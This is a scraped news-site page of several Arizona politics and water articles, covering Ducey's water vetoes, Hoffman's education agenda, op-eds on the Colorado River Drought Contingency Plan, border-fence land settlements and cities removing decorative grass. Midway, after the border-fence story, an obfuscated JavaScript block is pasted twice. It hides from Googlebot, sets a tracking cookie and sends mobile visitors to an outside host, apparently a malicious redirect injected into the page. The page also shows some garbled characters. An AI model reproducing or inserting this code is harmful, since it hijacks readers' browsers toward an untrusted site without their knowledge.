In 2016 he rejected two measures that could have allowed some developers to get around requirements to show they have enough water to sustain their projects.

The governor said the bills, sponsored by Sen. Gail Griffin, R-Hereford, would have undermined provisions of Arizona laws designed to protect the state’s water supply going back more than three decades. That, he said, made them unacceptable.

“We’re not going to allow bills that get in the way of the 1980 Groundwater Management Act or take away from the work of the people that have come before I came into office in protecting Arizona’s water,” Ducey said at the time.

“Ensuring the certainty and sustainability of Arizona’s water is a top priority” the governor said. “I will not sign legislation that threatens Arizona’s water future.”

Hoffman to push ban on English-only learning, expects voucher fight

In this Wednesday, Sept. 12, 2018 photo, Kathy Hoffman, a public school speech therapist, is a Democratic candidate running for superintendent of public education, in Phoenix. Hoffman is running against three-term California congressman Frank Riggs, the founding president of an online charter school. (AP Photo/Ross D. Franklin)
Superintendent of Public Instruction Kathy Hoffman (AP Photo/Ross D. Franklin)

The Arizona schools chief expects to have the same impact for the 2020 legislative session as last year, but she’s preparing for at least one education fight she considers as a distraction to the bigger picture.

Superintendent of Public Instruction Kathy Hoffman is ready for school vouchers to take over the education discussion at the Legislature this year, but it won’t sway her from trying to repeal the state’s English immersion law and get more funding for special education.

“Our priorities have not changed. They’ve stayed steady,” Hoffman told the Arizona Capitol Times on January 7.

Last year, Hoffman, with the help of Republican Attorney General Mark Brnovich, was able to get a repeal of the state’s ban on promoting a homosexual lifestyle in sex education classes, and she managed to get a reduction in the number of required hours of English immersion for English language learners to two from four per day.

In what seems like a light load this year are two issues Hoffman does not take lightly. She came close to repealing the English-only education law in 2019, but efforts fell short.

The House approved Rep. John Fillmore’s HCR 2026 on a 59-1 vote, and it flew through the Senate Education Committee unanimously, but in the waning hours of the legislative session, the repeal was left to die, never receiving a full Senate vote.

Fillmore, R-Apache Junction, sponsored the ballot referral again this year.

Hoffman said she is ready for the fight over vouchers, formally known as the Empowerment Scholarship Accounts program, or ESAs, which allow families to use public money to send their children to private schools.

The ESA battle actually began in May and picked up steam throughout the summer.

It began when the Education Department rescinded ESAs for a small group of Navajo Nation students who used them to attend a school just across the state line in New Mexico. Lawmakers quickly passed a law to allow those students to finish their school year.

Gov. Doug Ducey mentioned in his sixth State of the State Address on January 13 the promise he made to students on the Navajo Nation to allow them to continue using voucher money at the school in New Mexico.

School-choice groups also went on the offensive during the summer by bringing to light other instances of the department’s mishandling of school vouchers and blaming Hoffman.

Hoffman says it’s disappointing that this is what Republicans want to focus their energy on, but she will keep hammering on something she has repeated several times before.

“We’ve made it perfectly crystal clear that we are underfunded and understaffed to best run this program. And so we’ve made our request very clear of what it would take … to improve the management of the ESA program,” she said.

Through it all, though, Hoffman said she is proud of how the department has handled things so far with accountability and transparency.

“We’ve caught up on years of expense reports and auditing and even though the current program has continued to grow, we’ve been able to ensure more fiscal responsibility of those tax dollars.”

A fight over sex education Hoffman was expecting probably won’t come – at least not right away. .

Senate President Karen Fann on January 13 withheld Republican Sen. Sylvia Allen’s sex education bill, which would have banned students from taking sex education until seventh grade, and Democratic Sen. Victoria Steele’s bill, which would have required sex education to be medically accurate and age appropriate for all grades.

“I think the conversation about this has become really ugly and vulgar in ways that I think are a distraction to the real work that needs to be done,” Hoffman said. “We need to be looking at how we best empower kids to make healthy decisions. How do we prevent teen pregnancies? How do we prevent kids from contracting STIs and STDs? And so I want our curriculum to be inclusive for all kids to feel safe and welcome in their classroom.”

Latinos rely heavily on Colorado River water amid plans for cutbacks

The Colorado River is a major source of water for Arizona. The management of its supply involves numerous stakeholders and agencies.
The Colorado River is a major source of water for Arizona. The management of its supply involves numerous stakeholders and agencies. (Photo courtesy of Central Arizona Project)

The Por La Creación: Faith-Based Alliance is a bipartisan partnership of Hispanic pastors who believe in a common-sense approach to managing our natural resources. In February, 20 of us from Arizona gathered together in the Grand Canyon to talk about the Colorado River and the need for us to take action to protect this precious resource provided by God. This river provides water for one-third of Latinos in the United States. Latinos make up the bulk of agricultural workers harvesting the produce this river waters. We boat, fish, swim and recreate along its banks. We hold baptisms in its waters. Therefore, it is critical to engage the growing Latino population on water-smart solutions.

Elizabeth Venalonzo
Elizabeth Venalonzo

We learned about the Colorado River Drought Contingency Plan, or DCP — an agreement between the states that use the Colorado River water, namely California, Arizona, Nevada, Utah, Colorado, New Mexico and Wyoming — to reduce each state’s river use as a way to protect against catastrophic water shortages. Lake Mead, in Arizona and Nevada, is a major reservoir where Colorado River water is stored. Visiting it, you can see the “bathtub rings” showing how much the water levels have dropped. If and when the water level hits below 1,090 feet in elevation, Arizona will have the steepest mandatory cuts —192,000 acre-feet of water, or about 7 percent of the state’s annual allocation of Colorado River water. The state currently receives nearly 40 percent of its water from the Colorado River. Any further drops in water levels will lead to additional cuts across the basin, affecting jobs, economies, families, and communities that depend on the Colorado River.

The DCP is a stop- gap solution that was passed by Congress with bipartisan support on April 8 and signed into law by President Trump on April 16.

We were encouraged by the leadership of Arizona U.S. Congressional members, Republican Sen. Martha McSally and Democratic Rep. Raul Grijalva, who championed the passage of the DCP in the U.S. Senate and House.

Now, that the DCP has been signed into law, the U.S. and Mexico will have about 100 days to work on their international version of the DCP, called the Binational Water Scarcity Plan, also known as Minute 323. Depending on water levels in August of 2019, Mexico may have to conserve 41,000 acre-feet of water in Lake Mead next year.

The widely regarded Colorado College’s 2019 Conservation in the West poll found that 82 percent of Arizona’s voters believe it is important for states to use funds to protect and restore the health of rivers, lakes and streams. In addition, 73 percent of Latino voters in the West viewed the low levels of water in rivers as a very serious problem.

The Colorado River in Arizona is an integral part of our communities, history and cultural heritage, and our way of life. We all have a moral obligation to take care of our natural resources and protect God’s creation. As we face a future of diminished water supplies we need to ask each other and those who govern to embrace an ethic of planning and collaboration to lead us into a sustainable water future for our families and future generations. Arizona needs to continue to partner with its neighboring states and the federal government to invest in technologies and programs that reduce water use and further study additional water sources to ease the burden on the Colorado River.

The Rev. Elizabeth Venalonzo is pastor of Betania Church in Yuma.

Trump discusses immigration agenda with GOP governors

Arizona Gov. Doug Ducey, left, accompanied by President Donald Trump, right, speaks during a meeting with governors in the Blue Room of the White House in Washington, Monday, May 21, 2018, to discuss border security and restoring safe communities. (AP Photo/Andrew Harnik)
Arizona Gov. Doug Ducey, left, accompanied by President Donald Trump, right, speaks during a meeting with governors in the Blue Room of the White House in Washington, Monday, May 21, 2018, to discuss border security and restoring safe communities. (AP Photo/Andrew Harnik)

President Donald Trump dined Monday evening with Republican governors supportive of his immigration policies to discuss plans for border security and deporting people in the U.S. illegally.

Trump says the nation’s immigration laws are the worst of anywhere in the world, particularly so-called catch-and-release policies, under which federal immigration officers release those detained for being in the U.S. illegally pending legal proceedings. Trump says, “We have to end it.”

Trump says progress on a border wall is being made but calls on Congress to provide more funding toward his signature campaign promise.

Govs. Asa Hutchinson of Arkansas, Doug Doucey of Arizona, Phil Bryant of Mississippi, Susana Martinez of New Mexico and Henry McMaster of South Carolina joined the president for dinner.

Trump seeks billions for border wall, US still paying for fence


In this March 30, 2017 file photo, Workers use a crane to lift a segment of a new fence into place on the U.S. side of the border with Mexico, where Sunland Park, New Mexico, meets the Anapra neighborhood of Ciudad Juarez, Mexico, As President Donald Trump's administration fights to fund a new, multibillion-dollar border wall, government lawyers are still settling claims with Texas landowners over the fence Congress approved more than a decade ago. (AP Photo/Rodrigo Abd)
In this March 30, 2017 file photo, Workers use a crane to lift a segment of a new fence into place on the U.S. side of the border with Mexico, where Sunland Park, New Mexico, meets the Anapra neighborhood of Ciudad Juarez, Mexico, As President Donald Trump’s administration fights to fund a new, multibillion-dollar border wall, government lawyers are still settling claims with Texas landowners over the fence Congress approved more than a decade ago. (AP Photo/Rodrigo Abd)

HOUSTON (AP) ai??i?? Before the wall, there was the fence. And the U.S. is still paying for it.

As President Donald Trump tries to persuade a skeptical Congress to fund his proposed multibillion-dollar wall on the Mexican border, government lawyers are still settling claims with Texas landowners over a border fence approved more than a decade ago. Two settlements were completed just this week.

The legal battles over a stop-and-start fence that covers just a portion of the border have outlasted two presidents. If the Trump administration presses ahead with plans to build some version of the towering, impenetrable wall the president has promised, the government may have to take hundreds more landowners to court, perhaps even some of the same ones.

The Secure Fence Act, which President George W. Bush signed into law in 2006 with the support of many Democratic lawmakers, set aside money for fencing to cover one-third of the roughly 2,000-mile (3,200-kilometer) border between the U.S. and Mexico.

About 650 miles of fence were eventually built, just 100 miles of them in Texas, which has the longest border of any state with Mexico. The uneven course of the Rio Grande, rough terrain and private land ownership created a host of engineering and legal obstacles and required hundreds of deals with individual property owners for some of their land.

In the Rio Grande Valley, the southernmost point of Texas where most migrants are arrested, sections of the 18-foot-tall metal fencing stop and start in neighborhoods and on farmland.

The U.S. government can use the power of eminent domain to seize private property for a public purpose as long as it pays the landowner what the Constitution calls “just compensation,” but that process can take years if a landowner contests the seizure. The Justice Department eventually filed around 400 claims against landowners under the Secure Fence Act, though the government didn’t build on all the land it claimed.

Some landowners who have successfully resisted the fence for a decade received letters in recent months making them a new offer to settle, raising questions of whether the fence cases would pave the way for a wall. The Justice Department says it hasn’t started any cases related to a new wall and remains committed to settling around 90 cases still pending.

Those cases have been bedeviled by complications and delays and have left many landowners wary of what’s coming next.

One settlement completed this week was for $137,500 for about 1A? acres (about 6,000 square meters) next to the Rio Grande west of Brownsville, near a golf resort. The U.S. didn’t build fencing on the resort but did so on much of the land nearby. It then took nearly a decade to agree on compensation.

“It is exceedingly frustrating to the landowner to have to wait nine years to resolve a case and to have the government come in and take possession of it that long before he receives so much as a single dollar,” said Ken McKay, a lawyer who represented the family partnership that owned the land.

Rudy Cavazos was paid $7,000 last month for the less than a half-acre (about 2,000 square meters) taken from his property in San Benito, Texas. The government had already built a fence along a Rio Grande levee with the permission of the local water district, which was believed to own the land, only to find out that the tract actually belonged to Cavazos and about 20 other property owners.

After several years of inaction on his case, Cavazos decided late last year to settle because he was tired of meeting government lawyers and going to court.

“They paid me my peanuts,” he said. “It’s the bureaucracy 10 times over. They got a guy that comes over here every so often and talks to me, and hell, you expend that in your labor coming to talk to me.”

Three legal experts told The Associated Press that the Secure Fence Act already gives the Trump administration the authority to build something new and bigger on land it purchased for the fence. A barrier resembling the kind of wall Trump promised during his campaign might be seen as an evolved version of the existing fence, they said.

Ultimately, if the Trump administration wants to build something that’s bigger or covers more of the border, it will probably have to acquire more land and open possibly hundreds of new court cases.

While it is unclear what form the wall may take, Homeland Security Secretary John Kelly said last month that it is unlikely to run “from sea to shining sea.”

Trump himself employed eminent domain during his real estate career, including a 1990s case in which one of his Atlantic City casinos tried to force out a homeowner to make way for a parking lot.

But Mark Krikorian, executive director of the Center for Immigration Studies, which supports tighter controls on immigration, said a border wall presents bigger challenges than a single casino or hotel, with hundreds of landowners and lawyers already preparing to fight it.

“It’s going to take longer and end up being more difficult than the president originally thought,” he said.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

We must take care of the Colorado River for economic prosperity, life


Water is the foundation of life. But as essential as it is, we often take it for granted and we treat it as a never-ending resource. With Lake Mead and Lake Powell, two of the nation’s largest reservoirs, and the states along the Colorado River basin in a chronic drought condition, the Colorado River is steadily losing its ability to meet all the demands placed upon it.

Thankfully, on Jan. 31 after years of discussion and collaborative efforts between state agencies and water providers, Arizona agreed to accept the Drought Contingency Plan (DCP) — an agreement between California, Arizona and Nevada in the Lower Basin, and Utah, Colorado, New Mexico and Wyoming in the Upper Basin — to reduce each state’s river use as a way to deal with shortages in the water supply provided by the river. This agreement is a big step toward setting up a future of more sustainable water use in the Colorado River Basin, but much work is still needed to make sure the final agreements are implemented swiftly and effectively.

Maite Arce

The Colorado River system is one of the hardest working in the country. It supplies drinking water to seven states from its source in Colorado’s Rocky Mountain National Park to Yuma, Arizona where it passes into Mexico. In the Lower Colorado River Basin, the water helps irrigate millions of acres of farmland, including nearly 90 percent of the nation’s winter leafy vegetables. All in all, the river is the life source for more than 30 million people, including nearly a third of the nation’s Latinos.

While it alone won’t cure Lake Mead’s dwindling water level, the DCP will allow water managers in the Upper Basin to establish the foundation for a demand management program, in which farmers will be able to create conserved water through voluntary, temporary and compensated reductions in water use, protecting water supplies in both the near-and-long-term. In the Lower Basin the DCP creates additional flexibility to incentivize voluntary conservation of water to be stored in Lake Mead.

Gov. Doug Ducey and House Speaker Rusty Bowers have both said water will be a top priority issue in 2019. And we applaud the Arizona legislature for reaching consensus and doing what’s right in joining the DCP in order to help river communities get through near-term shortages that seem inevitable. All stakeholders, working together, have the opportunity to build on the DCP and to think ahead in order to sustain the health of the Colorado River, safeguard this substantial economic driver for countless communities and make sure future generations continue to benefit from this incredible treasure.

The Colorado River is entrusted to us and is a vital source of water, life, and economic prosperity, but we must take care of it in return. Protecting the river and the water it provides will require us to develop resilient solutions that reduce water consumption and efficiently share the river’s waters. Arizona’s legislators have now taken that step to improve water management across the Colorado River basin and protect the communities, economies, and wildlife that rely on this precious resource.

Maite Arce is president and CEO of Hispanic Access Foundation

Western US cities to remove decorative grass amid drought

Colorado River, Lake Powell, Lake Mead, drought, Phoenix, Bureau of Reclamation, decorative lawns
Water flows down the Colorado River downriver from Hoover Dam in northwest Arizona on Aug. 14 near the Lake Mead National Recreation Area. Now some of the largest water agencies in the western United States have agreed to a framework that would dramatically reduce the amount of decorative grass in cities such as Los Angeles, Las Vegas, Salt Lake City and Denver. (AP Photo/John Locher)

SALT LAKE CITY (AP) — A group of 30 agencies that supply water to homes and businesses throughout the western United States has pledged to rip up lots of decorative grass to help keep water in the over-tapped Colorado River.

The agreement signed Tuesday by water agencies in Southern California, Phoenix and Salt Lake City and elsewhere illustrates an accelerating shift in the American West away from well-manicured grass that has long been a totem of suburban life, having taken root alongside streets, around fountains and between office park walkways.

The grass-removal pledge targets turf that people don’t work on, like in front of strip malls, in street medians or at the entrance to neighborhoods. It doesn’t mean cities plan to rip up grass at golf courses, parks or in backyards, though some may pay homeowners to voluntarily replace their lawns with more drought-resistance landscaping.

Beyond reducing ornamental grass by 30%, the agencies say they’ll boost water efficiency, add more water recycling and consider actions like changing how people pay for water to encourage savings.

“Recognizing that a clean, reliable water supply is critical to our communities, we can and must do more to reduce water consumption and increase reuse and recycling within our service areas,” read the memo.

The agreement did not include details about the amount of water the agencies were collectively committing to save, but cities account for about one-fifth of Colorado River water use. And the rest goes to agriculture.

“Cities — the 20% — can’t solve the math problem. But we can certainly contribute to solving the problem,” said John Entsminger, the Southern Nevada Water Authority’s general manager.

The commitments, light on details, could spur agencies to offer payment for property owners to tear out grass and replace it with drought-tolerant desert landscaping.

The commitment to tear out 30% marks the first time that water agencies throughout the region have collectively committed to a numerical benchmark targeting one specific kind of water use. It comes as the states scramble to reduce their consumption to meet demands from federal officials who say cuts are needed to maintain river levels and protect public health, food systems and hydropower.

The letter adds additional signatories to an earlier agreement five large water districts reached in August. Water agencies in Albuquerque, Las Vegas and Denver are among those who signed it.

Denver Water spokesperson Todd Hartman said the city hoped to replace roughly 75 million square feet (7 million square meters) of non-functional turf but didn’t share how much water that would conserve. He said the agency hopes to roll out programs by 2024.

No matter the savings, the new commitments will amount to far less conservation than is needed to keep water flowing through the Colorado River and prevent its largest reservoirs from shrinking to dangerously low levels.

Phoenix wants its program up and running by the spring; it will be the city’s first time offering payment for people to rip up grass, said Cynthia Campbell, the city’s water resources management adviser. Even without a program, lots of people have removed grass anyway. In the 1970s, about 80% of homes had grass covering most of their property; today, it’s 9%, but that doesn’t include the sprawling suburbs outside of city boundaries, she said.

Like others, she stressed that water savings from cities won’t solve the river’s problems.

“There is no level of municipal conservation in the entire western United States that could make up for the water that’s going to be needed to be” conserved, she said. But Campbell added, “we are giving till it hurts, as much as we possibly can.”

The letter doesn’t include any commitments from agriculture, which uses about 80% of the allocated water in the seven states that rely on the river — Arizona, California, Colorado, Nevada, New Mexico, Utah and Wyoming.
Lake Powell and Lake Mead, the river’s two main reservoirs, are each about a quarter full.

In June, U.S. Bureau of Reclamation Commissioner Camille Touton warned the states needed to dramatically cut their use, but amid squabbles over who would shoulder what burden, officials failed to answer her call. The bureau has since offered varying levels of payment for water districts to reduce their use, through things like leaving farm fields unplanted or asking urban residents to use less at home.

Proposals for some of that money are due Nov. 21.

The Metropolitan Water District of Southern California, which supplies water for about half of California’s residents, in October urged cities and water agencies in its territory to ban the addition of any new decorative grass in business parks, public spaces and neighborhoods. Its board also urged agencies to stop watering and consider removing such grass that’s already planted.

Southern Nevada has for decades used a mixture of cash incentives and fines to discourage grass watering and limit both functional and non-functional turf.

Water from the Colorado River diverted through the Central Arizona Project fills an irrigation canal on Aug. 18 in Maricopa (Photo by Matt York/Associated Press)

The agreement has little effect on the area because a state law passed last year requires 100% of the non-functional turf be torn out in the Las Vegas area by 2026.

Utah passed a statewide conservation program last year that included $5 million to incentivize turf removal and has targeted decorative grass on public property. Yet some municipalities maintain ordinances passed for aesthetic reasons that prohibit residents from replacing grass with drought-tolerant landscaping.

Ronayne reported from Sacramento, California. AP writer Thomas Peipert contributed reporting from Denver.